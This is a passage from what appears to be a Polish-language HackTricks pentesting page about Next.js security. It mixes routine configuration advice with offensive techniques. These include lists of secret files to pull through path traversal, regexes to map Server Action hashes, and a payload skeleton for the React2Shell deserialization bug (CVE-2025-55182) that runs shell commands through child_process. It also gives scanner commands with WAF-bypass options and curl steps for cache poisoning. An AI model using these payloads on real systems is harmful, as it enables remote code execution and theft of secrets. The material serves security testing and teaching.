if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
Dodatkowe aspekty architektoniczne i bezpieczeństwa
Zmienne środowiskowe i konfiguracja
Purpose: Zarządzanie poufnymi informacjami i ustawieniami konfiguracji poza bazą kodu.
Best Practices:
- Użyj plików
.env: Przechowuj zmienne takie jak klucze API w.env.local(wyłączone z kontroli wersji). - Access Variables Securely: Używaj
process.env.VARIABLE_NAMEdo odczytu zmiennych środowiskowych. - Never Expose Secrets on the Client: Upewnij się, że wrażliwe zmienne są używane tylko po stronie serwera.
Przykład:
// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
Uwaga: Aby ograniczyć zmienne tylko do serwera, pomiń je w obiekcie env lub poprzedź prefiksem NEXT_PUBLIC_, aby udostępnić je po stronie klienta.
Przydatne artefakty serwera do wykorzystania przez LFI lub punkty końcowe pobierania
Jeśli znajdziesz path traversal lub download API w aplikacji Next.js, celuj w skompilowane artefakty, które mogą leakować serwerowe sekrety i logikę auth:
.env/.env.localdla sekretów sesji i poświadczeń providerów..next/routes-manifest.jsoni.next/build-manifest.jsondla kompletnej listy tras..next/server/pages/api/auth/[...nextauth].jsaby odzyskać skompilowaną konfigurację NextAuth (często zawiera zapasowe hasła, gdy wartości wprocess.envsą nieustawione).next.config.js/next.config.mjsaby przejrzeć rewrites, redirects i routing middleware.
Uwierzytelnianie i autoryzacja
Podejście:
- Uwierzytelnianie oparte na sesji: Używaj cookies do zarządzania sesjami użytkowników.
- Uwierzytelnianie oparte na tokenach: Wdroż JWT dla bezstanowego uwierzytelniania.
- Dostawcy zewnętrzni: Integruj z OAuth providers (np. Google, GitHub) używając bibliotek takich jak
next-auth.
Zasady bezpieczeństwa:
- Bezpieczne cookies: Ustaw atrybuty
HttpOnly,SecureiSameSite. - Haszowanie haseł: Zawsze haszuj hasła przed ich zapisaniem.
- Walidacja wejścia: Zapobiegaj injection attacks przez walidację i sanitizację danych wejściowych.
Przykład:
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
Optymalizacja wydajności
Strategie:
- Optymalizacja obrazów: Użyj komponentu Next.js
next/imagedo automatycznej optymalizacji obrazów. - Dzielenie kodu: Wykorzystaj dynamiczne importy do dzielenia kodu i zmniejszenia czasu ładowania początkowego.
- Buforowanie: Wdróż strategie buforowania dla odpowiedzi API i zasobów statycznych.
- Ładowanie leniwe: Ładuj komponenty lub zasoby tylko wtedy, gdy są potrzebne.
Przykład:
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
Next.js Server Actions Enumeration (hash to function name via source maps)
Nowoczesny Next.js używa „Server Actions”, które wykonują się po stronie serwera, ale są wywoływane z klienta. W środowisku produkcyjnym te wywołania są nieprzezroczyste: wszystkie żądania POST trafiają na wspólny endpoint i są rozróżniane przez hash specyficzny dla builda wysyłany w nagłówku Next-Action. Przykład:
POST /
Next-Action: a9f8e2b4c7d1...
Kiedy productionBrowserSourceMaps jest włączone, minified JS chunks zawierają wywołania createServerReference(...), które leak wystarczającą strukturę (oraz powiązane source maps), aby odtworzyć mapowanie między action hash a oryginalną nazwą funkcji. Pozwala to przetłumaczyć hashes zaobserwowane w Next-Action na konkretne cele, takie jak deleteUserAccount() lub exportFinancialData().
Metoda ekstrakcji (regex on minified JS + optional source maps)
Przeszukaj pobrane JS chunks pod kątem createServerReference i wyodrębnij hash oraz symbol funkcji/źródła. Dwa przydatne wzorce:
# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- Grupa 1: server action hash (40+ hex chars)
- Grupa 2: symbol lub ścieżka, które można rozwiązać do oryginalnej nazwy funkcji przez source map, gdy jest dostępna
Jeśli skrypt deklaruje source map (komentarz na końcu //# sourceMappingURL=<...>.map), pobierz ją i rozwiąż symbol/ścieżkę do oryginalnej nazwy funkcji.
Praktyczny przebieg
- Pasywne wykrywanie podczas przeglądania: przechwytuj żądania z nagłówkami
Next-Actionoraz JS chunk URL-ami. - Pobierz wspomniane JS bundles oraz towarzyszące pliki
*.map(jeśli są). - Uruchom powyższy regex, aby zbudować słownik hash↔name.
- Użyj słownika do kierowania testami:
- Priorytetyzacja oparta na nazwach (np.
transferFunds,exportFinancialData). - Śledź pokrycie pomiędzy buildami według nazwy funkcji (hashes rotują między buildami).
Wykonywanie ukrytych akcji (żądanie oparte na szablonie)
Weź ważne żądanie POST zaobserwowane w-proxy jako szablon i zamień wartość Next-Action, aby celować w inną odkrytą akcję:
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
Odtwórz w Repeaterze i przetestuj autoryzację, walidację danych wejściowych oraz logikę biznesową akcji, które normalnie są niedostępne.
Automatyzacja Burp
- NextjsServerActionAnalyzer (Burp extension) automatyzuje powyższe w Burp:
- Przeszukuje historię proxy w poszukiwaniu JS chunków, wyciąga wpisy
createServerReference(...)i parsuje source mapy, gdy są dostępne. - Utrzymuje przeszukiwalny słownik hash↔nazwa-funkcji i usuwa duplikaty między buildami na podstawie nazwy funkcji.
- Potrafi znaleźć prawidłowy template POST i otworzyć gotową do wysłania kartę Repeater z podstawionym hashem docelowej akcji.
- Repo: https://github.com/Adversis/NextjsServerActionAnalyzer
Uwagi i ograniczenia
- Wymaga włączenia
productionBrowserSourceMapsw środowisku produkcyjnym, aby odzyskać nazwy z bundli/source map. - Ujawnienie nazwy funkcji samo w sobie nie jest podatnością; użyj tego do kierowania odkrywaniem i testowania autoryzacji każdej akcji.
React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
Next.js App Router deployments that expose Server Actions on react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) zawierają krytyczną podatność prototype pollution po stronie serwera podczas deserializacji chunków Flight. Poprzez stworzenie odwołań $ wewnątrz ładunku Flight, atakujący może przejść od zainfekowanych prototypów do wykonania dowolnego kodu JavaScript, a następnie do wykonania poleceń systemowych wewnątrz procesu Node.js.
NodeJS - proto & prototype Pollution
Łańcuch ataku w chunkach Flight
- Prototype pollution primitive: Ustaw
"then": "$1:__proto__:then"tak, aby resolver zapisał funkcjęthennaObject.prototype. Każdy zwykły obiekt przetworzony później staje się thenable, pozwalając atakującemu wpływać na asynchroniczny przepływ sterowania wewnątrz mechanizmów RSC. - Rebinding to the global
Functionconstructor: Wskaż_response._formData.getna"$1:constructor:constructor". Podczas rozwiązywania,object.constructor→Object, aObject.constructor→Function, więc przyszłe wywołania_formData.get()faktycznie wykonująFunction(...). - Code execution via
_prefix: Umieść kod JavaScript w_response._prefix. Gdy skażone_formData.getzostanie wywołane, framework oceniFunction(_prefix)(...), więc wstrzyknięty JS może wywołaćrequire('child_process').exec()lub inne operacje Node.
Szkielet payloadu
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
Mapowanie ekspozycji React Server Function
React Server Functions (RSF) to funkcje, które zawierają dyrektywę ‘use server’;. Każda form action, mutation, or fetch helper powiązana z jedną z tych funkcji staje się RSC Flight endpoint, który chętnie zdeserializuje attacker-supplied payloads. Przydatne kroki rozpoznawcze wyprowadzone z React2Shell assessments:
- Inwentaryzacja statyczna: szukaj dyrektywy, aby zrozumieć, ile RSFs jest automatycznie wystawianych przez framework.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
- Domyślne ustawienia App Router:
create-next-appwłącza App Router + katalogapp/domyślnie, co cicho zamienia każdą trasę w endpoint obsługujący RSC. Zasoby App Router, takie jak/_next/static/chunks/app/lub odpowiedzi strumieniujące Flight chunks przeztext/x-component, są silnymi identyfikatorami widocznymi z Internetu. - Implicitnie podatne wdrożenia RSC: Samo advisory Reacta wskazuje, że aplikacje dostarczające runtime RSC mogą być podatne na exploity nawet bez jawnych RSFs, więc traktuj każdy build używający
react-server-dom-*w wersjach 19.0.0–19.2.0 jako podejrzany. - Inne frameworki pakujące RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku itp. używają tego samego serializera i dziedziczą identyczną zdalną powierzchnię ataku, dopóki nie osadzą poprawionych buildów Reacta.
Pokrycie wersji (React2Shell)
react-server-dom-webpack,react-server-dom-parcel,react-server-dom-turbopack: podatne w 19.0.0, 19.1.0–19.1.1 i 19.2.0; załatane w 19.0.1, 19.1.2 i 19.2.1 odpowiednio.- Next.js stable: wydania App Router 15.0.0–16.0.6 osadzają podatny stos RSC. Łańcuchy poprawek 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 zawierają poprawione zależności, więc każdy build poniżej tych wersji ma wysoką wartość.
- Next.js canary:
14.3.0-canary.77+także dostarcza wadliwy runtime i obecnie brak w nim załatanych canary dropów, co czyni te sygnatury silnymi kandydatami do eksploatacji.
Zdalny oracle detekcji
Assetnote’s react2shell-scanner wysyła spreparowany multipart Flight request do wybranych ścieżek i obserwuje zachowanie po stronie serwera:
- Domyślny tryb wykonuje deterministyczny payload RCE (operacja matematyczna odzwierciedlona przez
X-Action-Redirect) potwierdzając wykonanie kodu. - Tryb
--safe-checkcelowo uszkadza wiadomość Flight, tak że załatane serwery zwracają200/400, podczas gdy podatne cele emitują odpowiedziHTTP/500zawierające podciągE{"digest"w treści. Ta para(500 + digest)jest obecnie najbardziej wiarygodnym zdalnym oraclem opublikowanym przez obrońców. - Wbudowane przełączniki
--waf-bypass,--vercel-waf-bypassi--windowsdostosowują układ payloadu, dopisują junk lub zamieniają komendy OS, aby można było sondować rzeczywiste zasoby Internetu.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
Inne niedawne problemy App Router (koniec 2025)
- RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – sfałszowane Flight payloady mogą wpędzić resolver RSC w nieskończoną pętlę (DoS przed uwierzytelnieniem) lub wymusić serializację skompilowanego kodu Server Function do innych działań. App Router builds ≥13.3 są podatne do momentu załatania; 15.0.x–16.0.x wymagają konkretnych linii poprawek z upstream advisory. Wykorzystaj zwykłą ścieżkę Server Action, ale streamuj body
text/x-componentz nadużywającymi odwołaniami$. Za CDN zacięte połączenie jest utrzymywane przez timeouty cache, co czyni DoS tanią metodą.
- Triage tip: Niezałatane cele zwracają
500zE{"digest"po sfałszowanych Flight payloadach; załatane buildy zwracają400/200. Testuj każdy endpoint już streamujący Flight chunks (szukaj nagłówkówNext-Actionlub odpowiedzitext/x-component) i odtwarzaj z zmodyfikowanym payloadem.
- RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – brak
Varypozwolił, by odpowiedź naAccept: text/x-componentzostała zcache’owana i serwowana do przeglądarek oczekujących HTML. Jedno wstępne żądanie może zastąpić stronę surowymi payloadami RSC. Przebieg PoC:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head
Jeśli druga odpowiedź zwraca JSON Flight data zamiast HTML, trasa jest podatna na poisoning. Oczyść cache po testach.
References
- Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
- NextjsServerActionAnalyzer (Burp extension)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
- CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
- 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
- assetnote/react2shell-scanner
- Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
- GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


